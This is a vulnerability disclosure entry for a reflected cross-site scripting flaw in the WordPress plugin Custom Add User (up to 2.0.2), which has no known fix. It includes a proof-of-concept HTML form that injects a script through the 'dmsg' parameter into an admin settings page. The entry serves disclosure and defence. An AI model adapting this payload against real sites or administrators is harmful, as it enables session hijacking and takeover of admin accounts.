WordPress Plugin Vulnerabilities
Custom Add User <= 2.0.2 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:10008/wp-admin/options-general.php">
<input type="hidden" name="page" value="custom-add-user-settings" />
<input type="hidden" name="dmsg" value="<script>alert(document.domain)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
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CWE
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Original Researcher
Shreya Pohekar
Submitter
Shreya Pohekar
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-02-02 (about 1 years ago)
Added
2023-02-02 (about 1 years ago)
Last Updated
2023-02-02 (about 1 years ago)
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